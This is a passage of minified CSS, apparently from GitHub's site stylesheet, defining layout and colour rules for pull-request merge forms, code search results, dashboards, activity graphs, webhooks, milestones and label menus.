100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu 